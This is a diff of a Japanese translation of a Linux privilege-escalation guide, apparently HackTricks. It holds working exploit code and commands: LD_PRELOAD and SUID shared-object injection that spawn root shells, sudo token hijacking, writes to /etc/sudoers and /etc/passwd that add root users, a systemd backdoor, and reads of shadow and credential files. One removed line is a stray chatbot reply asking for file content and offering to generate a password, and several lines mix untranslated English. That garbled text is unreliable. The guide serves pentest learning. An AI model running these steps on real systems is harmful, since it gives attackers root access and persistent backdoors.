-次に、以下のコマンドで**コンパイル**します: +次に、**compile it** を使ってコンパイルします: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -最後に、**escalate privileges** を実行して +最後に、**escalate privileges** を実行します ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 攻撃者が**LD_LIBRARY_PATH**環境変数を制御していると、ライブラリが検索されるパスを制御できるため、同様のprivescを悪用できます。 +> 類似の privesc は、攻撃者が **LD_LIBRARY_PATH** 環境変数を制御している場合に悪用され得ます。攻撃者はライブラリが検索されるパスを制御できるためです。 ```c #include #include @@ -868,13 +891,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -通常と異なるように見える **SUID** 権限を持つバイナリに遭遇した場合、**.so** ファイルを正しくロードしているか確認するのが良い習慣です。これは次のコマンドを実行して確認できます: +通常と異なるように見える **SUID** 権限を持つバイナリに遭遇した場合、**.so** ファイルを適切に読み込んでいるかを確認することをお勧めします。これは次のコマンドを実行して確認できます: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -例えば、_"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ のようなエラーに遭遇した場合、悪用の可能性が示唆されます。 +例えば、_"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ のようなエラーに遭遇した場合、潜在的な悪用の可能性が示唆されます。 -これを悪用するには、Cファイル、例えば _"/path/to/.config/libcalc.c"_ を作成し、次のコードを含めます: +これを exploit するには、例えば _"/path/to/.config/libcalc.c"_ という C ファイルを作成し、以下のコードを記述します: ```c #include #include @@ -885,13 +908,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -このコードは、コンパイルして実行すると、ファイルのパーミッションを操作し、特権付きのシェルを実行することで権限を昇格させることを目的としています。 +このコードは、コンパイルして実行されると、ファイルのパーミッションを操作し、権限昇格した shell を実行することで特権を取得することを目的としています。 -上記のCファイルを共有オブジェクト(.so)ファイルにコンパイルするには、次のようにします: +上記の C ファイルを shared object (.so) ファイルにコンパイルするには: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -最後に、影響を受けた SUID バイナリを実行すると exploit が発動し、システムが侵害される可能性があります。 +最後に、影響を受けた SUID バイナリを実行すると exploit がトリガーされ、システムの乗っ取りにつながる可能性があります。 ## Shared Object Hijacking ```bash @@ -903,7 +926,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -書き込み可能なfolderからlibraryをロードするSUID binaryを見つけたので、そのfolderに必要な名前でlibraryを作成しましょう: +書き込み可能なフォルダからライブラリをロードする SUID binary を見つけたので、そのフォルダに必要な名前のライブラリを作成しましょう: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -920,13 +943,13 @@ system("/bin/bash -p"); ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -つまり、生成したライブラリには `a_function_name` という名前の関数が必要です。 +that means that the library you have generated need to have a function called `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) は、ローカルのセキュリティ制限を回避するために攻撃者に悪用されうる Unix バイナリのキュレートされた一覧です。[**GTFOArgs**](https://gtfoargs.github.io/) は同様のもので、コマンドに**引数のみ注入できる**場合に該当します。 +[**GTFOBins**](https://gtfobins.github.io) は、ローカルのセキュリティ制限を回避するために攻撃者によって悪用され得る Unix バイナリを厳選したリストです。 [**GTFOArgs**](https://gtfoargs.github.io/) は同様のプロジェクトで、コマンドに **only inject arguments** できる場合を対象としています。 -このプロジェクトは、restricted shells からの脱出、権限昇格や維持、ファイル転送、bind や reverse shells の生成、その他の post-exploitation タスクを容易にするために利用できる、Unix バイナリの正当な機能を収集しています。 +このプロジェクトは、restricted shells からの脱出、権限の昇格や維持(escalate or maintain elevated privileges)、ファイル転送、bind and reverse shells の生成、その他の post-exploitation タスクを容易にするために悪用可能な Unix バイナリの正規の機能を収集しています。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -945,60 +968,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -もし `sudo -l` にアクセスできるなら、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使って、任意の sudo ルールを悪用する方法が見つかるかを確認できます。 +`sudo -l` にアクセスできる場合、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使って、任意の sudo ルールを悪用する方法が見つかるかどうかをチェックできます。 ### Reusing Sudo Tokens -パスワードは知らないが sudo アクセスがある場合、sudo コマンドの実行を待ち、セッショントークンをハイジャックすることで権限を昇格できます。 +パスワードは分からないが **sudo access** がある場合、**sudo コマンドの実行を待ち、そのセッショントークンをハイジャックする**ことで権限を昇格できます。 -権限昇格の要件: +Requirements to escalate privileges: -- 既にユーザ "_sampleuser_" としてシェルを持っていること -- "_sampleuser_" が過去 **15mins** に何かを実行するために **`sudo` を使用していること**(デフォルトでは、これがパスワード入力なしで `sudo` を使える sudo トークンの有効期間です) -- `cat /proc/sys/kernel/yama/ptrace_scope` が 0 であること -- `gdb` が利用可能であること(アップロードできること) +- You already have a shell as user "_sampleuser_" +- "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) +- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 +- `gdb` is accessible (you can be able to upload it) -(一時的に `ptrace_scope` を有効化するには `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` を実行するか、恒久的に `/etc/sysctl.d/10-ptrace.conf` を変更して `kernel.yama.ptrace_scope = 0` を設定します) +(一時的に ptrace_scope を設定するには `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` を使うか、`/etc/sysctl.d/10-ptrace.conf` を永続的に変更して `kernel.yama.ptrace_scope = 0` を設定してください) If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- 最初の **exploit** (`exploit.sh`) はバイナリ `activate_sudo_token` を _/tmp_ に作成します。これを使って **自分のセッションの sudo トークンを有効化** できます(自動的に root シェルが得られるわけではありません。`sudo su` を実行してください): +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- 2番目の **exploit** (`exploit_v2.sh`) は _/tmp_ に sh shell を作成し、**root が所有し setuid が付与されます** +- **second exploit** (`exploit_v2.sh`) は _/tmp_ に **root 所有で setuid** な sh シェルを作成します ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **3番目の exploit** (`exploit_v3.sh`) は **sudoers file を作成する**ことで **sudo tokens を永続化し、すべてのユーザーが sudo を使用できるようにする** +- この **3番目の exploit** (`exploit_v3.sh`) は **sudoers file を作成** し、**sudo tokens を永続化して全ユーザーが sudo を使用できるようにします** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -フォルダ内、またはフォルダ内で作成されたファイルのいずれかに**書き込み権限**がある場合、バイナリ [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) を使用して、**ユーザーとPIDのための sudo token を作成**できます。\ -たとえば、ファイル _/var/run/sudo/ts/sampleuser_ を上書きでき、そのユーザー(PID 1234)としてシェルを持っている場合、パスワードを知らなくても **sudo privileges** を取得できます。以下を実行します: +フォルダ、またはフォルダ内に作成されたファイルのいずれかに**書き込み権限**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使用して**ユーザーとPID用のsudoトークンを作成**できます。\ +例えば、ファイル _/var/run/sudo/ts/sampleuser_ を上書きでき、かつそのユーザー(PID 1234)としてシェルを持っている場合、パスワードを知らなくても以下の操作で**obtain sudo privileges**できます: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -ファイル `/etc/sudoers` と `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使えるかとその方法を設定します。これらのファイルは**デフォルトではユーザー root とグループ root のみが読み取り可能です**。\ -**もし**このファイルを**読む**ことができれば、**興味深い情報を取得する**ことができるかもしれません、そして任意のファイルに**書き込む**ことができれば**escalate privileges**できるようになります。 +`/etc/sudoers` ファイルおよび `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使えるかとその方法を設定します。これらのファイルは **デフォルトではユーザー root およびグループ root によってのみ読み取ることができます**。\ +**もし**このファイルを**読む**ことができれば、**いくつかの興味深い情報を取得できる可能性があります**。そして、もし任意のファイルに**書き込み**できるなら、**権限を昇格**させることができます。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -書き込みができれば、この権限を悪用できます +書き込みができるなら、この権限を悪用できます。 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -これらの権限を悪用する別の方法: +これらの権限を悪用する別の方法: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1007,17 +1030,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -OpenBSD用の`sudo`バイナリの代替として`doas`などがあります。設定は`/etc/doas.conf`で確認することを忘れないでください。 +OpenBSD向けの`doas`のように、`sudo`バイナリの代替はいくつかあります。設定は`/etc/doas.conf`で確認してください。 ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -もし**ユーザーが通常マシンに接続して `sudo` を使用して**権限を昇格することがわかっていて、かつそのユーザーコンテキストでシェルを取得している場合、root として自分のコードを実行し、その後でユーザーのコマンドを実行するような**新しい sudo 実行ファイルを作成**できます。次に、ユーザーコンテキストの **$PATH**(例: 新しいパスを `.bash_profile` に追加)を変更して、ユーザーが `sudo` を実行したときにあなたの sudo 実行ファイルが実行されるようにします。 +もし、**user usually connects to a machine and uses `sudo`** と分かっていて、そのユーザーコンテキスト内でシェルを取得している場合、root としてあなたのコードを実行し、その後ユーザーのコマンドを実行する **create a new sudo executable** を作成できます。次に、ユーザーコンテキストの **modify the $PATH**(例えば .bash_profile に新しいパスを追加するなど)を行えば、ユーザーが sudo を実行したときにあなたの sudo 実行ファイルが実行されます。 -ユーザーが別のシェル(bash 以外)を使っている場合は、新しいパスを追加するために他のファイルを変更する必要がある点に注意してください。例えば[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) は `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` を変更します。別の例は [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) にあります。 +注意:ユーザーが別の shell(bash 以外)を使用している場合、新しいパスを追加するために他のファイルを変更する必要があります。例えば[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) は `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` を変更します。別の例は [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) にあります。 -または次のようなコマンドを実行する: +または次のようなコマンドを実行する: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib を `/var/tmp/flag15/` にコピーすると、`RPATH` 変数で指定された通りにその場所からプログラムによって利用されます。 +lib を `/var/tmp/flag15/` にコピーすると、`RPATH` 変数で指定されているこの場所でプログラムによって使用されます。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1067,7 +1091,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -次に、`/var/tmp` に悪意のあるライブラリを以下のコマンドで作成します: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +次に `/var/tmp` に悪意のあるライブラリを `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` で作成します。 ```c #include #define SHELL "/bin/sh" @@ -1080,45 +1104,44 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capabilities +## ケーパビリティ -Linux capabilities はプロセスに対して利用可能な root 権限の**サブセットを提供します**。これにより root の**権限がより小さく明確な単位に分割されます**。これらの各単位は個別にプロセスへ付与できるため、権限の全体集合が縮小され、悪用のリスクが低減します。\ -以下のページを読んで、capabilities とそれを悪用する方法について**詳しく学んでください**: +Linux capabilities はプロセスに対して利用可能な root 権限の**サブセットを提供します**。これは実質的に root の**権限をより小さく独立した単位に分割**することを意味します。各単位は個別にプロセスに付与できるため、権限の全体量が減り、悪用のリスクが低減します。\ +以下のページを読んで、**capabilities とその悪用方法**について詳しく学んでください: {{#ref}} linux-capabilities.md {{#endref}} -## Directory permissions +## ディレクトリの権限 -ディレクトリでは、**"execute" のビット**は影響を受けるユーザーが "**cd**" でフォルダに入れることを意味します。\ -**"read"** ビットはユーザーが**ファイルを一覧表示**できることを意味し、**"write"** ビットはユーザーが**ファイルを削除**および**新規作成**できることを意味します。 +ディレクトリでは、**"execute" ビット**は対象のユーザーが "**cd**" でフォルダに入れることを示します。\ +**"read"** ビットはユーザーがファイルを**一覧表示**できることを示し、**"write"** ビットはユーザーがファイルを**削除**および**新規作成**できることを示します。 ## ACLs -Access Control Lists (ACLs) は裁量的なパーミッションの二次層を表し、従来の ugo/rwx パーミッションを**上書きできる**ものです。これらのパーミッションは、オーナーでもグループの一員でもない特定のユーザーに対してアクセス権を許可または拒否することで、ファイルやディレクトリへのアクセス制御を強化します。\ -このレベルの**細粒度により、より正確なアクセス管理が可能になります**。Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) は、裁量的な権限の二次的なレイヤーを表し、従来の ugo/rwx 権限を**上書きすることができます**。これらの権限により、所有者やグループに属さない特定ユーザーに対してアクセスを許可または拒否でき、ファイルやディレクトリへのアクセス制御が強化されます。このような**粒度の細かさにより、より精密なアクセス管理が可能になります**。詳細は [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux) を参照してください。 -**付与する** ユーザー "kali" にファイルの read と write パーミッションを与える: +**Give** user "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**取得** システムから特定のACLsを持つファイル: +**システムから特定の ACLs を持つファイルを取得する:** ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## 開かれた shell セッション +## shell sessions を開く -**古いバージョン**では、別のユーザー(**root**)の**shell**セッションを**hijack**できることがあります。\ -**最新のバージョン**では、**自分のユーザー**のscreenセッションにのみ**接続**できます。ただし、**セッション内の興味深い情報**が見つかることがあります。 +**古いバージョン**では、別ユーザー(**root**)の**shell**セッションを**hijack**できる場合があります。\ +**最新バージョン**では、**自分のユーザー**のscreen sessions のみに**接続**できるようになっています。しかし、**セッション内の興味深い情報**が見つかることがあります。 -### screen セッション hijacking +### screen sessions hijacking -**screen セッションの一覧** +**screen sessions を一覧表示** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1131,11 +1154,11 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux セッション hijacking +## tmux sessions hijacking -これは**古い tmux バージョン**の問題でした。root によって作成された tmux (v2.1) セッションを特権のないユーザーとして hijack できませんでした。 +これは **古い tmux のバージョン** の問題でした。非特権ユーザーとして root によって作成された tmux (v2.1) セッションを hijack することはできませんでした。 -**tmux セッションを一覧表示** +**tmux セッションを一覧表示する** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1159,47 +1182,47 @@ Check **Valentine box from HTB** for an example. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -2006年9月から2008年5月13日までの間に Debian 系システム(Ubuntu, Kubuntu など)で生成されたすべての SSL および SSH キーは、このバグの影響を受ける可能性があります。\ -このバグはこれらの OS で新しい ssh キーを作成する際に発生し、**可能な組み合わせがわずか 32,768 通りしかなかった**ためです。つまり、すべての可能性を計算でき、**ssh 公開鍵を持っていれば対応する秘密鍵を検索できる**ということです。計算済みの候補はここで見つかります: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +2006年9月から2008年5月13日までの間にDebian系システム(Ubuntu、Kubuntuなど)で生成されたすべての SSL および SSH キーはこのバグの影響を受ける可能性があります.\ +このバグはそれらのOSで新しい ssh キーを作成したときに発生し、**可能なバリエーションがわずか32,768通りしかなかった**ためです。これは、すべての可能性を計算でき、**ssh 公開鍵を持っていれば対応する秘密鍵を検索できる**ことを意味します。計算済みの可能性はここで見つかります: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values - **PasswordAuthentication:** パスワード認証が許可されているかどうかを指定します。デフォルトは `no` です。 - **PubkeyAuthentication:** 公開鍵認証が許可されているかどうかを指定します。デフォルトは `yes` です。 -- **PermitEmptyPasswords**: パスワード認証が許可されている場合に、空のパスワード文字列のアカウントでのログインをサーバーが許可するかどうかを指定します。デフォルトは `no` です。 +- **PermitEmptyPasswords**: パスワード認証が許可されている場合、サーバーが空のパスワード文字列のアカウントでのログインを許可するかどうかを指定します。デフォルトは `no` です。 ### PermitRootLogin root が ssh でログインできるかどうかを指定します。デフォルトは `no` です。可能な値: - `yes`: root はパスワードおよび秘密鍵でログインできます -- `without-password` or `prohibit-password`: root は秘密鍵のみでログインできます -- `forced-commands-only`: root は秘密鍵のみで、かつ commands オプションが指定されている場合にのみログインできます -- `no`: ログイン不可 +- `without-password` or `prohibit-password`: root は秘密鍵でのみログインできます +- `forced-commands-only`: root は秘密鍵でのみログインでき、かつコマンドのオプションが指定されている場合に限ります +- `no`: 許可しない ### AuthorizedKeysFile -ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h` のようなトークンを含めることができ、これはホームディレクトリに置換されます。**絶対パスを指定できます**(`/` で始まる)や **ユーザーのホームからの相対パス** を指定できます。例えば: +ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h` のようなトークンを含めることができ、これはホームディレクトリに置き換えられます。**絶対パスを指定することができます**(`/`で始まる)または**ユーザーのホームからの相対パス**。例えば: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -その設定は、ユーザー「**testusername**」の**private**キーでログインしようとした場合、ssh があなたのキーの公開鍵を `/home/testusername/.ssh/authorized_keys` と `/home/testusername/access` にあるものと比較することを示します。 +その設定は、ユーザー "**testusername**" の**private** keyでログインしようとした場合、sshがあなたのキーのpublic keyを`/home/testusername/.ssh/authorized_keys`および`/home/testusername/access`にあるものと照合することを示します。 ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding により、サーバー上に(passphrases無し!)鍵を置いておく代わりに、**use your local SSH keys instead of leaving keys** ことができます。これにより、ssh で **to a host** に **jump** し、そこから **initial host** にある **key** を **using** して別のホストへ **jump to another** ことができるようになります。 +SSH agent forwarding により、サーバー上に(without passphrases!)キーを置いておく代わりに**use your local SSH keys instead of leaving keys**ことができます。これにより、sshで**to a host**に**jump**し、そこからさらに別のホストに**jump to another**する際に、**initial host**にある**key**を**using**して接続できます。 You need to set this option in `$HOME/.ssh.config` like this: ``` Host example.com ForwardAgent yes ``` -Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). +注意: `Host` が `*` の場合、ユーザが別のマシンに移動するたびに、そのホストはキーにアクセスできるようになり(これはセキュリティ上の問題です)。 -ファイル `/etc/ssh_config` はこの**オプション**を**上書き**し、この設定を許可または拒否できます。\ -ファイル `/etc/sshd_config` はキーワード `AllowAgentForwarding` によって ssh-agent フォワーディングを**許可**または**拒否**できます(デフォルトは許可)。 +ファイル `/etc/ssh_config` はこの設定を**override**し、この構成を許可または拒否することができます。\ +ファイル `/etc/sshd_config` はキーワード `AllowAgentForwarding` により ssh-agent forwarding を**allow**または**deny**することができます(デフォルトは allow)。 -If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: +環境で Forward Agent が設定されているのを見つけた場合、次のページを読んでください。**権限昇格に悪用できる可能性があります**: {{#ref}} @@ -1210,75 +1233,68 @@ ssh-forward-agent-exploitation.md ### プロファイルファイル -ファイル `/etc/profile` と `/etc/profile.d/` 以下のファイルは、ユーザーが新しいシェルを起動したときに**実行されるスクリプト**です。したがって、これらのいずれかに**書き込みまたは変更できれば権限を昇格させることができます**。 +ファイル `/etc/profile` と `/etc/profile.d/` 以下のファイルは、ユーザが新しいシェルを起動したときに実行される**スクリプト**です。したがって、これらのいずれかを書き換えたり変更できる場合、**権限を昇格できる**可能性があります。 ```bash ls -l /etc/profile /etc/profile.d/ ``` -不審なプロファイルスクリプトが見つかった場合は、**機密情報**が含まれていないか確認してください。 +不審なプロファイルスクリプトを見つけたら、**機密情報**が含まれていないか確認してください。 ### Passwd/Shadow Files -OSによっては、`/etc/passwd`や`/etc/shadow`ファイルが別名になっていたり、バックアップが存在することがあります。したがって、**すべてを見つけ出し**、**読み取れるか確認**して、ファイル内に**hashesが含まれているか**を確認することを推奨します: +OSによっては `/etc/passwd` と `/etc/shadow` ファイルが別名になっているか、バックアップが存在する場合があります。したがって、**すべて見つける**ことと、**読めるか確認する**ことで、**ファイル内にハッシュが含まれているか**を確認することをおすすめします: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -場合によっては、`/etc/passwd`(または同等の)ファイル内に **password hashes** を見つけることがあります +場合によっては、`/etc/passwd`(または同等のファイル)内で**password hashes**を見つけることがあります。 ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### 書き込み可能な /etc/passwd -最初に、以下のコマンドのいずれかでパスワードを生成します。 +まず、次のコマンドのいずれかでパスワードを生成します。 ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -I don’t have the file content. Please paste the contents of src/linux-hardening/privilege-escalation/README.md that you want translated. - -Also confirm: -- Do you want me to generate a strong password and insert it into the translated README as plain text? -- If yes, any password rules (length, include symbols/numbers/uppercase)? - -I’ll then return the translated Markdown (Japanese) with the added user line for `hacker` and the generated password. +次にユーザー `hacker` を追加し、生成されたパスワードを設定してください。 ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` 例: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -これで `su` コマンドを使って `hacker:hacker` として切り替えることができます。 +これで `su` コマンドを使って `hacker:hacker` を使用できます。 -あるいは、以下の行を使ってパスワードなしのダミーユーザーを追加できます。\ -警告: マシンの現在のセキュリティが低下する可能性があります。 +あるいは、以下の行を使ってパスワードなしのダミーユーザを追加できます。\ 警告: これによりマシンの現在のセキュリティが低下する可能性があります。 ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -注意: BSDプラットフォームでは `/etc/passwd` は `/etc/pwd.db` と `/etc/master.passwd` にあり、また `/etc/shadow` は `/etc/spwd.db` に名前が変更されています。 +注意: BSDプラットフォームでは `/etc/passwd` は `/etc/pwd.db` と `/etc/master.passwd` にあり、`/etc/shadow` は `/etc/spwd.db` に名称変更されています。 -**いくつかの機密ファイルに書き込みできるか**を確認してください。たとえば、**サービスの設定ファイル**に書き込みできますか? +いくつかの**機密ファイルに書き込めるか**確認してください。例えば、いくつかの**サービス設定ファイル**に書き込み可能ですか? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -例えば、マシンが **tomcat** サーバーを実行していて、**/etc/systemd/ 内の Tomcat サービス構成ファイルを変更できる** 場合、次の行を変更できます: +例えば、マシンが **tomcat** サーバを実行していて、**/etc/systemd/ 内の Tomcat サービス設定ファイル を変更できる** 場合、次の行を変更できます: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Your backdoor は、tomcat が次に起動したときに実行されます。 +次に tomcat が起動したときに、あなたの backdoor は実行されます。 -### フォルダを確認する +### フォルダを確認 -次のフォルダにはバックアップや興味深い情報が含まれている可能性があります:**/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**(最後のものはおそらく読み取れないでしょうが、試してみてください) +次のフォルダにはバックアップや興味深い情報が含まれている可能性があります: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (おそらく最後のものは読めないでしょうが、試してみてください) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### 奇妙な場所/Owned files +### 奇妙な場所/Owned ファイル ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1295,7 +1311,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### 過去数分で変更されたファイル +### 最後の数分で変更されたファイル ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1327,22 +1343,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### パスワードを含む可能性がある既知のファイル +### パスワードを含む既知のファイル -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読んでください。これは**パスワードを含んでいる可能性のある複数のファイル**を検索します。\ -**この目的で使えるもう一つの興味深いツール**は: [**LaZagne**](https://github.com/AlessandroZ/LaZagne)で、ローカルコンピュータに保存された多数のパスワードを取得するためのオープンソースアプリケーションです(Windows, Linux & Mac向け)。 +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) のコードを読んでみてください。これは **パスワードを含んでいる可能性のある複数のファイル** を検索します。\ +**別の興味深いツール** としては次があります: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — Windows、Linux、Mac のローカルコンピュータに保存された多数のパスワードを取得するためのオープンソースアプリケーションです。 ### ログ -ログを読めるなら、**そこで興味深い/機密情報を見つけられるかもしれません**。ログが奇妙であればあるほど、(おそらく)より興味深いでしょう。\ -また、設定が「**bad**」(backdoored?) な**audit logs**は、投稿で説明されているように**audit logs**内に**パスワードを記録**させることを可能にする場合があります: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/. +ログを読めるなら、そこに **興味深い/機密情報が含まれている** 可能性があります。ログが奇妙であればあるほど、(おそらく)より興味深くなります。\ +また、一部の「**悪く**」設定された(バックドア化された?)**audit logs** は、監査ログ内に **パスワードを記録する** ことを可能にする場合があり、これはこの投稿で説明されています: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -ログを読むためには、グループ [**adm**](interesting-groups-linux-pe/index.html#adm-group) が非常に役立ちます。 +ログを読むためには、[**adm**](interesting-groups-linux-pe/index.html#adm-group) グループが非常に役立ちます。 -### Shell files +### シェルファイル ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1355,41 +1371,41 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -ファイル名や内容に単語 "**password**" を含むファイルを確認し、ログ内の IP や email、ハッシュの regexps もチェックしてください。\ -ここではそのやり方をすべて列挙しませんが、興味があれば [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) が実行する最終チェックを参照してください。 +ファイル名やファイルの**content**内に「**password**」という単語が含まれているファイルを確認し、ログ内のIPsやemails、あるいはhashesのregexpsも確認してください。\ +ここですべてのやり方を列挙するつもりはありませんが、興味があれば [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) が実行する最後のチェックを確認してください。 -## 書き込み可能なファイル +## Writable files ### Python library hijacking -もし**どこから**pythonスクリプトが実行されるか分かっていて、そのフォルダに**書き込み可能**であるか、または**pythonライブラリを修正できる**なら、OSライブラリを改変して backdoor を仕込むことができます(pythonスクリプトが実行される場所に書き込み可能であれば、os.py ライブラリをコピー&ペーストしてください)。 +If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if 